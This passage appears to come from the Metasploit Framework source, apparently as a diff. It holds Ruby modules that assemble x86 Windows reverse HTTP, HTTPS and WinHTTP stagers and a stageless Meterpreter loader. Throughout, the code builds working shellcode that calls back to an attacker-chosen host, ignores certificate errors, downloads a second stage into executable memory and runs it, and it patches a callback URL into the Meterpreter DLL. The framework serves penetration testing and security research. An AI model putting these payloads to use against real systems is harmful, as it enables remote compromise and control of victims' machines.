||||
; LPCTSTR lpszProxyName (via call)
|
||||
push 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3)
|
||||
push ebx ; LPCTSTR lpszAgent (NULL)
|
||||
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
|
||||
call ebp
|
||||
^
|
||||
else
|
||||
asm << %Q^
|
||||
internetopen:
|
||||
push ebx ; DWORD dwFlags
|
||||
push ebx ; LPCTSTR lpszProxyBypass (NULL)
|
||||
push ebx ; LPCTSTR lpszProxyName (NULL)
|
||||
push ebx ; DWORD dwAccessType (PRECONFIG = 0)
|
||||
push ebx ; LPCTSTR lpszAgent (NULL)
|
||||
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
|
||||
call ebp
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
internetconnect:
|
||||
push ebx ; DWORD_PTR dwContext (NULL)
|
||||
push ebx ; dwFlags
|
||||
push 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
|
||||
push ebx ; password (NULL)
|
||||
push ebx ; username (NULL)
|
||||
push #{opts[:port]} ; PORT
|
||||
call got_server_uri ; double call to get pointer for both server_uri and
|
||||
server_uri: ; server_host; server_uri is saved in EDI for later
|
||||
db "#{opts[:url]}", 0x00
|
||||
got_server_host:
|
||||
push eax ; HINTERNET hInternet (still in eax from InternetOpenA)
|
||||
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
|
||||
call ebp
|
||||
mov esi, eax ; Store hConnection in esi
|
||||
^
|
||||
|
||||
# Note: wine-1.6.2 does not support SSL w/proxy authentication properly, it
|
||||
# doesn't set the Proxy-Authorization header on the CONNECT request.
|
||||
|
||||
if proxy_enabled && proxy_user
|
||||
asm << %Q^
|
||||
; DWORD dwBufferLength (length of username)
|
||||
push #{proxy_user.length}
|
||||
call set_proxy_username
|
||||
proxy_username:
|
||||
db "#{proxy_user}",0x00
|
||||
set_proxy_username:
|
||||
; LPVOID lpBuffer (username from previous call)
|
||||
push 43 ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME)
|
||||
push esi ; hConnection
|
||||
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
|
||||
call ebp
|
||||
^
|
||||
end
|
||||
|
||||
if proxy_enabled && proxy_pass
|
||||
asm << %Q^
|
||||
; DWORD dwBufferLength (length of password)
|
||||
push #{proxy_pass.length}
|
||||
call set_proxy_password
|
||||
proxy_password:
|
||||
db "#{proxy_pass}",0x00
|
||||
set_proxy_password:
|
||||
; LPVOID lpBuffer (password from previous call)
|
||||
push 44 ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD)
|
||||
push esi ; hConnection
|
||||
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
|
||||
call ebp
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
httpopenrequest:
|
||||
push ebx ; dwContext (NULL)
|
||||
push #{"0x%.8x" % http_open_flags} ; dwFlags
|
||||
push ebx ; accept types
|
||||
push ebx ; referrer
|
||||
push ebx ; version
|
||||
push edi ; server URI
|
||||
push ebx ; method
|
||||
push esi ; hConnection
|
||||
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
|
||||
call ebp
|
||||
xchg esi, eax ; save hHttpRequest in esi
|
||||
|
||||
; Store our retry counter in the edi register
|
||||
set_retry:
|
||||
push #{retry_count}
|
||||
pop edi
|
||||
|
||||
send_request:
|
||||
^
|
||||
|
||||
if opts[:ssl]
|
||||
asm << %Q^
|
||||
; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
|
||||
set_security_options:
|
||||
push 0x00003380
|
||||
;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
|
||||
;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID
|
||||
;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE
|
||||
;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
|
||||
;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION
|
||||
mov eax, esp
|
||||
push 4 ; sizeof(dwFlags)
|
||||
push eax ; &dwFlags
|
||||
push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
|
||||
push esi ; hHttpRequest
|
||||
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
|
||||
call ebp
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
httpsendrequest:
|
||||
push ebx ; lpOptional length (0)
|
||||
push ebx ; lpOptional (NULL)
|
||||
push ebx ; dwHeadersLength (0)
|
||||
push ebx ; lpszHeaders (NULL)
|
||||
push esi ; hHttpRequest
|
||||
push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
|
||||
call ebp
|
||||
test eax,eax
|
||||
jnz allocate_memory
|
||||
|
||||
try_it_again:
|
||||
dec edi
|
||||
jnz send_request
|
||||
|
||||
; if we didn't allocate before running out of retries, bail out
|
||||
^
|
||||
|
||||
if opts[:exitfunk]
|
||||
asm << %Q^
|
||||
failure:
|
||||
call exitfunk
|
||||
^
|
||||
else
|
||||
asm << %Q^
|
||||
failure:
|
||||
push 0x56A2B5F0 ; hardcoded to exitprocess for size
|
||||
call ebp
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
allocate_memory:
|
||||
push 0x40 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ; MEM_COMMIT
|
||||
push 0x00400000 ; Stage allocation (4Mb ought to do us)
|
||||
push ebx ; NULL as we dont care where the allocation is
|
||||
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
||||
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
|
||||
download_prep:
|
||||
xchg eax, ebx ; place the allocated base address in ebx
|
||||
push ebx ; store a copy of the stage base address on the stack
|
||||
push ebx ; temporary storage for bytes read count
|
||||
mov edi, esp ; &bytesRead
|
||||
|
||||
download_more:
|
||||
push edi ; &bytesRead
|
||||
push 8192 ; read length
|
||||
push ebx ; buffer
|
||||
push esi ; hRequest
|
||||
push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" )
|
||||
call ebp
|
||||
|
||||
test eax,eax ; download failed? (optional?)
|
||||
jz failure
|
||||
|
||||
mov eax, [edi]
|
||||
add ebx, eax ; buffer += bytes_received
|
||||
|
||||
test eax,eax ; optional?
|
||||
jnz download_more ; continue until it returns 0
|
||||
pop eax ; clear the temporary storage
|
||||
|
||||
execute_stage:
|
||||
ret ; dive into the stored stage address
|
||||
|
||||
got_server_uri:
|
||||
pop edi
|
||||
call got_server_host
|
||||
|
||||
server_host:
|
||||
db "#{opts[:host]}", 0x00
|
||||
^
|
||||
|
||||
if opts[:exitfunk]
|
||||
asm << asm_exitfunk(opts)
|
||||
end
|
||||
asm
|
||||
end
|
||||
|
||||
#
|
||||
# Do not transmit the stage over the connection. We handle this via HTTPS
|
||||
#
|
||||
def stage_over_connection?
|
||||
false
|
||||
end
|
||||
|
||||
#
|
||||
# Always wait at least 20 seconds for this payload (due to staging delays)
|
||||
#
|
||||
def wfs_delay
|
||||
20
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,70 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/windows/reverse_http'
|
||||
|
||||
module Msf
|
||||
|
||||
|
||||
###
|
||||
#
|
||||
# Complex payload generation for Windows ARCH_X86 that speak HTTPS
|
||||
#
|
||||
###
|
||||
|
||||
|
||||
module Payload::Windows::ReverseHttps
|
||||
|
||||
include Msf::Payload::Windows::ReverseHttp
|
||||
|
||||
#
|
||||
# Generate and compile the stager
|
||||
#
|
||||
def generate_reverse_https(opts={})
|
||||
combined_asm = %Q^
|
||||
cld ; Clear the direction flag.
|
||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||
#{asm_block_api}
|
||||
start:
|
||||
pop ebp
|
||||
#{asm_reverse_http(opts)}
|
||||
^
|
||||
Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
|
||||
# Generate the simple version of this stager if we don't have enough space
|
||||
if self.available_space.nil? || required_space > self.available_space
|
||||
return generate_reverse_https(
|
||||
ssl: true,
|
||||
host: datastore['LHOST'],
|
||||
port: datastore['LPORT'],
|
||||
url: generate_small_uri,
|
||||
retry_count: datastore['StagerRetryCount'])
|
||||
end
|
||||
|
||||
conf = {
|
||||
ssl: true,
|
||||
host: datastore['LHOST'],
|
||||
port: datastore['LPORT'],
|
||||
url: generate_uri,
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
proxy_host: datastore['PayloadProxyHost'],
|
||||
proxy_port: datastore['PayloadProxyPort'],
|
||||
proxy_user: datastore['PayloadProxyUser'],
|
||||
proxy_pass: datastore['PayloadProxyPass'],
|
||||
proxy_type: datastore['PayloadProxyType'],
|
||||
retry_count: datastore['StagerRetryCount']
|
||||
}
|
||||
|
||||
generate_reverse_https(conf)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,395 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/windows/block_api'
|
||||
require 'msf/core/payload/windows/exitfunk'
|
||||
require 'msf/core/payload/windows/reverse_http'
|
||||
|
||||
module Msf
|
||||
|
||||
|
||||
###
|
||||
#
|
||||
# Complex payload generation for Windows ARCH_X86 that speak HTTP(S) using WinHTTP
|
||||
#
|
||||
###
|
||||
|
||||
|
||||
module Payload::Windows::ReverseWinHttp
|
||||
|
||||
include Msf::Payload::Windows::ReverseHttp
|
||||
|
||||
#
|
||||
# Register reverse_winhttp specific options
|
||||
#
|
||||
def initialize(*args)
|
||||
super
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
# Generate the simple version of this stager if we don't have enough space
|
||||
if self.available_space.nil? || required_space > self.available_space
|
||||
return generate_reverse_winhttp(
|
||||
ssl: false,
|
||||
host: datastore['LHOST'],
|
||||
port: datastore['LPORT'],
|
||||
url: generate_small_uri,
|
||||
retry_count: datastore['StagerRetryCount'])
|
||||
end
|
||||
|
||||
conf = {
|
||||
ssl: false,
|
||||
host: datastore['LHOST'],
|
||||
port: datastore['LPORT'],
|
||||
url: generate_uri,
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
retry_count: datastore['StagerRetryCount']
|
||||
}
|
||||
|
||||
generate_reverse_winhttp(conf)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate and compile the stager
|
||||
#
|
||||
def generate_reverse_winhttp(opts={})
|
||||
combined_asm = %Q^
|
||||
cld ; Clear the direction flag.
|
||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||
#{asm_block_api}
|
||||
start:
|
||||
pop ebp
|
||||
#{asm_reverse_winhttp(opts)}
|
||||
^
|
||||
Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
|
||||
end
|
||||
|
||||
#
|
||||
# Determine the maximum amount of space required for the features requested
|
||||
#
|
||||
def required_space
|
||||
# Start with our cached default generated size
|
||||
space = cached_size
|
||||
|
||||
# Add 100 bytes for the encoder to have some room
|
||||
space += 100
|
||||
|
||||
# Make room for the maximum possible URL length
|
||||
space += 256
|
||||
|
||||
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
|
||||
space += 31
|
||||
|
||||
# The final estimated size
|
||||
space
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Convert a string into a NULL-terminated wchar byte array
|
||||
#
|
||||
def asm_generate_wchar_array(str)
|
||||
( str.to_s + "\x00" ).
|
||||
unpack("C*").
|
||||
pack("v*").
|
||||
unpack("C*").
|
||||
map{ |c| "0x%.2x" % c }.
|
||||
join(",")
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Generate an assembly stub with the configured feature set and options.
|
||||
#
|
||||
# @option opts [Bool] :ssl Whether or not to enable SSL
|
||||
# @option opts [String] :url The URI to request during staging
|
||||
# @option opts [String] :host The host to connect to
|
||||
# @option opts [Fixnum] :port The port to connect to
|
||||
# @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify, or nil
|
||||
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
|
||||
# @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up
|
||||
#
|
||||
def asm_reverse_winhttp(opts={})
|
||||
|
||||
retry_count = [opts[:retry_count].to_i, 1].max
|
||||
verify_ssl = nil
|
||||
encoded_cert_hash = nil
|
||||
encoded_url = asm_generate_wchar_array(opts[:url])
|
||||
encoded_host = asm_generate_wchar_array(opts[:host])
|
||||
|
||||
if opts[:ssl] && opts[:verify_cert_hash]
|
||||
verify_ssl = true
|
||||
encoded_cert_hash = opts[:verify_cert_hash].unpack("C*").map{|c| "0x%.2x" % c }.join(",")
|
||||
end
|
||||
|
||||
|
||||
http_open_flags = 0
|
||||
|
||||
if opts[:ssl]
|
||||
# ;0x00800000 ; WINHTTP_FLAG_SECURE
|
||||
# ;0x00000100 ; WINHTTP_FLAG_BYPASS_PROXY_CACHE
|
||||
http_open_flags = (0x00800000 | 0x00000100)
|
||||
else
|
||||
# ;0x00000100 ; WINHTTP_FLAG_BYPASS_PROXY_CACHE
|
||||
http_open_flags = 0x00000100
|
||||
end
|
||||
|
||||
asm = %Q^
|
||||
; Input: EBP must be the address of 'api_call'.
|
||||
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
|
||||
|
||||
load_winhttp:
|
||||
push 0x00707474 ; Push the string 'winhttp',0
|
||||
push 0x686E6977 ; ...
|
||||
push esp ; Push a pointer to the "winhttp" string
|
||||
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||
call ebp ; LoadLibraryA( "winhttp" )
|
||||
^
|
||||
|
||||
if verify_ssl
|
||||
asm << %Q^
|
||||
load_crypt32:
|
||||
push 0x00323374 ; Push the string 'crypt32',0
|
||||
push 0x70797263 ; ...
|
||||
push esp ; Push a pointer to the "crypt32" string
|
||||
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||
call ebp ; LoadLibraryA( "wincrypt" )
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
|
||||
xor ebx, ebx
|
||||
|
||||
WinHttpOpen:
|
||||
push ebx ; Flags
|
||||
push ebx ; ProxyBypass (NULL)
|
||||
push ebx ; ProxyName (NULL)
|
||||
push ebx ; AccessType (DEFAULT_PROXY= 0)
|
||||
push ebx ; UserAgent (NULL) [1]
|
||||
push 0xBB9D1F04 ; hash( "winhttp.dll", "WinHttpOpen" )
|
||||
call ebp
|
||||
|
||||
WinHttpConnect:
|
||||
push ebx ; Reserved (NULL)
|
||||
push #{opts[:port]} ; Port [3]
|
||||
call got_server_uri ; Double call to get pointer for both server_uri and
|
||||
server_uri: ; server_host; server_uri is saved in edi for later
|
||||
db #{encoded_url}
|
||||
got_server_host:
|
||||
push eax ; Session handle returned by WinHttpOpen
|
||||
push 0xC21E9B46 ; hash( "winhttp.dll", "WinHttpConnect" )
|
||||
call ebp
|
||||
|
||||
WinHttpOpenRequest:
|
||||
|
||||
push #{"0x%.8x" % http_open_flags}
|
||||
push ebx ; AcceptTypes (NULL)
|
||||
push ebx ; Referrer (NULL)
|
||||
push ebx ; Version (NULL)
|
||||
push edi ; ObjectName (URI)
|
||||
push ebx ; Verb (GET method) (NULL)
|
||||
push eax ; Connect handle returned by WinHttpConnect
|
||||
push 0x5BB31098 ; hash( "winhttp.dll", "WinHttpOpenRequest" )
|
||||
call ebp
|
||||
xchg esi, eax ; save HttpRequest handler in esi
|
||||
^
|
||||
|
||||
if opts[:ssl]
|
||||
asm << %Q^
|
||||
; WinHttpSetOption (hInternet, WINHTTP_OPTION_SECURITY_FLAGS, &buffer, sizeof(buffer) );
|
||||
set_security_options:
|
||||
push 0x00003300
|
||||
;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
|
||||
;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID
|
||||
;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE
|
||||
;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
|
||||
mov eax, esp
|
||||
push 4 ; sizeof(buffer)
|
||||
push eax ; &buffer
|
||||
push 31 ; DWORD dwOption (WINHTTP_OPTION_SECURITY_FLAGS)
|
||||
push esi ; hHttpRequest
|
||||
push 0xCE9D58D3 ; hash( "winhttp.dll", "WinHttpSetOption" )
|
||||
call ebp
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
; Store our retry counter in the edi register
|
||||
set_retry:
|
||||
push #{retry_count}
|
||||
pop edi
|
||||
|
||||
send_request:
|
||||
|
||||
WinHttpSendRequest:
|
||||
push ebx ; Context [7]
|
||||
push ebx ; TotalLength [6]
|
||||
push ebx ; OptionalLength (0) [5]
|
||||
push ebx ; Optional (NULL) [4]
|
||||
push ebx ; HeadersLength (0) [3]
|
||||
push ebx ; Headers (NULL) [2]
|
||||
push esi ; HttpRequest handle returned by WinHttpOpenRequest [1]
|
||||
push 0x91BB5895 ; hash( "winhttp.dll", "WinHttpSendRequest" )
|
||||
call ebp
|
||||
test eax,eax
|
||||
jnz check_response ; if TRUE call WinHttpReceiveResponse API
|
||||
|
||||
try_it_again:
|
||||
dec edi
|
||||
jnz send_request
|
||||
|
||||
; if we didn't allocate before running out of retries, fall through
|
||||
^
|
||||
|
||||
if opts[:exitfunk]
|
||||
asm << %Q^
|
||||
failure:
|
||||
call exitfunk
|
||||
^
|
||||
else
|
||||
asm << %Q^
|
||||
failure:
|
||||
push 0x56A2B5F0 ; hardcoded to exitprocess for size
|
||||
call ebp
|
||||
^
|
||||
end
|
||||
|
||||
# Jump target if the request was sent successfully
|
||||
asm << %Q^
|
||||
check_response:
|
||||
^
|
||||
|
||||
# Verify the SSL certificate hash
|
||||
if verify_ssl
|
||||
|
||||
asm << %Q^
|
||||
ssl_cert_get_context:
|
||||
push 4
|
||||
mov ecx, esp ; Allocate &bufferLength
|
||||
push 0
|
||||
mov ebx, esp ; Allocate &buffer (ebx will point to *pCert)
|
||||
|
||||
push ecx ; &bufferLength
|
||||
push ebx ; &buffer
|
||||
push 78 ; DWORD dwOption (WINHTTP_OPTION_SERVER_CERT_CONTEXT)
|
||||
push esi ; hHttpRequest
|
||||
push 0x272F0478 ; hash( "winhttp.dll", "WinHttpQueryOption" )
|
||||
call ebp
|
||||
test eax, eax ;
|
||||
jz failure ; Bail out if we couldn't get the certificate context
|
||||
|
||||
; ebx
|
||||
ssl_cert_allocate_hash_space:
|
||||
push 20 ;
|
||||
mov ecx, esp ; Store a reference to the address of 20
|
||||
sub esp,[ecx] ; Allocate 20 bytes for the hash output
|
||||
mov edi, esp ; edi will point to our buffer
|
||||
|
||||
ssl_cert_get_server_hash:
|
||||
push ecx ; &bufferLength
|
||||
push edi ; &buffer (20-byte SHA1 hash)
|
||||
push 3 ; DWORD dwPropId (CERT_SHA1_HASH_PROP_ID)
|
||||
push [ebx] ; *pCert
|
||||
push 0xC3A96E2D ; hash( "crypt32.dll", "CertGetCertificateContextProperty" )
|
||||
call ebp
|
||||
test eax, eax ;
|
||||
jz failure ; Bail out if we couldn't get the certificate context
|
||||
|
||||
ssl_cert_start_verify:
|
||||
call ssl_cert_compare_hashes
|
||||
db #{encoded_cert_hash}
|
||||
|
||||
ssl_cert_compare_hashes:
|
||||
pop ebx ; ebx points to our internal 20-byte certificate hash (overwrites *pCert)
|
||||
; edi points to the server-provided certificate hash
|
||||
|
||||
push 4 ; Compare 20 bytes (5 * 4) by repeating 4 more times
|
||||
pop ecx ;
|
||||
mov edx, ecx ; Keep a reference to 4 in edx
|
||||
|
||||
ssl_cert_verify_compare_loop:
|
||||
mov eax, [ebx] ; Grab the next DWORD of the hash
|
||||
cmp eax, [edi] ; Compare with the server hash
|
||||
jnz failure ; Bail out if the DWORD doesn't match
|
||||
add ebx, edx ; Increment internal hash pointer by 4
|
||||
add edi, edx ; Increment server hash pointer by 4
|
||||
loop ssl_cert_verify_compare_loop
|
||||
|
||||
; Our certificate hash was valid, hurray!
|
||||
ssl_cert_verify_cleanup:
|
||||
xor ebx, ebx ; Reset ebx back to zero
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
receive_response:
|
||||
; The API WinHttpReceiveResponse needs to be called
|
||||
; first to get a valid handle for WinHttpReadData
|
||||
push ebx ; Reserved (NULL)
|
||||
push esi ; Request handler returned by WinHttpSendRequest
|
||||
push 0x709D8805 ; hash( "winhttp.dll", "WinHttpReceiveResponse" )
|
||||
call ebp
|
||||
test eax,eax
|
||||
jz failure
|
||||
^
|
||||
|
||||
asm << %Q^
|
||||
allocate_memory:
|
||||
push 0x40 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ; MEM_COMMIT
|
||||
push 0x00400000 ; Stage allocation (4Mb ought to do us)
|
||||
push ebx ; NULL as we dont care where the allocation is
|
||||
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
||||
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
|
||||
download_prep:
|
||||
xchg eax, ebx ; place the allocated base address in ebx
|
||||
push ebx ; store a copy of the stage base address on the stack
|
||||
push ebx ; temporary storage for bytes read count
|
||||
mov edi, esp ; &bytesRead
|
||||
|
||||
download_more:
|
||||
push edi ; NumberOfBytesRead (bytesRead)
|
||||
push 8192 ; NumberOfBytesToRead
|
||||
push ebx ; Buffer
|
||||
push esi ; Request handler returned by WinHttpReceiveResponse
|
||||
push 0x7E24296C ; hash( "winhttp.dll", "WinHttpReadData" )
|
||||
call ebp
|
||||
|
||||
test eax,eax ; if download failed? (optional?)
|
||||
jz failure
|
||||
|
||||
mov eax, [edi]
|
||||
add ebx, eax ; buffer += bytes_received
|
||||
|
||||
test eax,eax ; optional?
|
||||
jnz download_more ; continue until it returns 0
|
||||
pop eax ; clear the temporary storage
|
||||
|
||||
execute_stage:
|
||||
ret ; dive into the stored stage address
|
||||
|
||||
got_server_uri:
|
||||
pop edi
|
||||
call got_server_host ; put the server_host on the stack (WinHttpConnect API [2])
|
||||
|
||||
server_host:
|
||||
db #{encoded_host}
|
||||
^
|
||||
|
||||
if opts[:exitfunk]
|
||||
asm << asm_exitfunk(opts)
|
||||
end
|
||||
asm
|
||||
end
|
||||
|
||||
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,105 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/windows/reverse_winhttp'
|
||||
require 'msf/core/payload/windows/verify_ssl'
|
||||
|
||||
module Msf
|
||||
|
||||
|
||||
###
|
||||
#
|
||||
# Complex payload generation for Windows ARCH_X86 that speak HTTPS using WinHTTP
|
||||
#
|
||||
###
|
||||
|
||||
|
||||
module Payload::Windows::ReverseWinHttps
|
||||
|
||||
include Msf::Payload::Windows::ReverseWinHttp
|
||||
include Msf::Payload::Windows::VerifySsl
|
||||
|
||||
#
|
||||
# Register reverse_winhttps specific options
|
||||
#
|
||||
def initialize(*args)
|
||||
super
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('StagerVerifySSLCert', [false, 'Whether to verify the SSL certificate hash in the handler', false])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate and compile the stager
|
||||
#
|
||||
def generate_reverse_winhttps(opts={})
|
||||
combined_asm = %Q^
|
||||
cld ; Clear the direction flag.
|
||||
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||
#{asm_block_api}
|
||||
start:
|
||||
pop ebp
|
||||
#{asm_reverse_winhttp(opts)}
|
||||
^
|
||||
Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
|
||||
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
|
||||
datastore['HandlerSSLCert'])
|
||||
|
||||
# Generate the simple version of this stager if we don't have enough space
|
||||
if self.available_space.nil? || required_space > self.available_space
|
||||
|
||||
if verify_cert_hash
|
||||
raise ArgumentError, "StagerVerifySSLCert is enabled but not enough payload space is available"
|
||||
end
|
||||
|
||||
return generate_reverse_winhttps(
|
||||
ssl: true,
|
||||
host: datastore['LHOST'],
|
||||
port: datastore['LPORT'],
|
||||
url: generate_small_uri,
|
||||
verify_cert_hash: verify_cert_hash,
|
||||
retry_count: datastore['StagerRetryCount'])
|
||||
end
|
||||
|
||||
conf = {
|
||||
ssl: true,
|
||||
host: datastore['LHOST'],
|
||||
port: datastore['LPORT'],
|
||||
url: generate_uri,
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
verify_cert_hash: verify_cert_hash,
|
||||
retry_count: datastore['StagerRetryCount']
|
||||
}
|
||||
|
||||
generate_reverse_winhttps(conf)
|
||||
end
|
||||
|
||||
#
|
||||
# Determine the maximum amount of space required for the features requested
|
||||
#
|
||||
def required_space
|
||||
space = super
|
||||
|
||||
# SSL support adds 20 bytes
|
||||
space += 20
|
||||
|
||||
# SSL verification adds 120 bytes
|
||||
if datastore['StagerVerifySSLCert']
|
||||
space += 120
|
||||
end
|
||||
|
||||
space
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,111 @@
|
|||
#-*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/payloads/meterpreter/patch'
|
||||
|
||||
module Msf
|
||||
|
||||
##
|
||||
#
|
||||
# Implements stageless invocation of metsrv in x86
|
||||
#
|
||||
##
|
||||
|
||||
module Payload::Windows::StagelessMeterpreter
|
||||
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Single
|
||||
include Msf::ReflectiveDLLLoader
|
||||
|
||||
def asm_invoke_metsrv(opts={})
|
||||
asm = %Q^
|
||||
; prologue
|
||||
dec ebp ; 'M'
|
||||
pop edx ; 'Z'
|
||||
call $+5 ; call next instruction
|
||||
pop ebx ; get the current location (+7 bytes)
|
||||
push edx ; restore edx
|
||||
inc ebp ; restore ebp
|
||||
push ebp ; save ebp for later
|
||||
mov ebp, esp ; set up a new stack frame
|
||||
; Invoke ReflectiveLoader()
|
||||
; add the offset to ReflectiveLoader() (0x????????)
|
||||
add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)}
|
||||
call ebx ; invoke ReflectiveLoader()
|
||||
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket)
|
||||
; offset from ReflectiveLoader() to the end of the DLL
|
||||
add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
|
||||
push ebx ; push the pointer to the extension list
|
||||
push 4 ; indicate that we have attached
|
||||
push eax ; push some arbitrary value for hInstance
|
||||
mov ebx, eax ; save DllMain for another call
|
||||
call ebx ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket)
|
||||
; Invoke DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
|
||||
; push the exitfunk value onto the stack
|
||||
push #{"0x%.8x" % Msf::Payload::Windows.exit_types[opts[:exitfunk]]}
|
||||
push 5 ; indicate that we have detached
|
||||
push eax ; push some arbitrary value for hInstance
|
||||
call ebx ; call DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
|
||||
^
|
||||
|
||||
asm
|
||||
end
|
||||
|
||||
def generate_stageless_meterpreter(url = nil)
|
||||
dll, offset = load_rdi_dll(MeterpreterBinaries.path('metsrv', 'x86.dll'))
|
||||
|
||||
conf = {
|
||||
:rdi_offset => offset,
|
||||
:length => dll.length,
|
||||
:exitfunk => datastore['EXITFUNC']
|
||||
}
|
||||
|
||||
asm = asm_invoke_metsrv(conf)
|
||||
|
||||
# generate the bootstrap asm
|
||||
bootstrap = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
|
||||
|
||||
# sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
|
||||
if bootstrap.length > 62
|
||||
print_error("Stageless Meterpreter generated with oversized x86 bootstrap.")
|
||||
return
|
||||
end
|
||||
|
||||
# patch the binary with all the stuff
|
||||
dll[0, bootstrap.length] = bootstrap
|
||||
|
||||
# the URL might not be given, as it might be patched in some other way
|
||||
if url
|
||||
# Patch the URL using the patcher as this upports both ASCII and WCHAR.
|
||||
unless Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 512}", "s#{url}\x00")
|
||||
# If the patching failed this could mean that we are somehow
|
||||
# working with outdated binaries, so try to patch with the
|
||||
# old stuff.
|
||||
Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 256}", "s#{url}\x00")
|
||||
end
|
||||
end
|
||||
|
||||
# if a block is given then call that with the meterpreter dll
|
||||
# so that custom patching can happen if required
|
||||
yield dll if block_given?
|
||||
|
||||
# append each extension to the payload, including
|
||||
# the size of the extension
|
||||
unless datastore['EXTENSIONS'].nil?
|
||||
datastore['EXTENSIONS'].split(',').each do |e|
|
||||
e = e.strip.downcase
|
||||
ext, o = load_rdi_dll(MeterpreterBinaries.path("ext_server_#{e}", 'x86.dll'))
|
||||
|
||||
# append the size, offset to RDI and the payload itself
|
||||
dll << [ext.length].pack('V') + ext
|
||||
end
|
||||
end
|
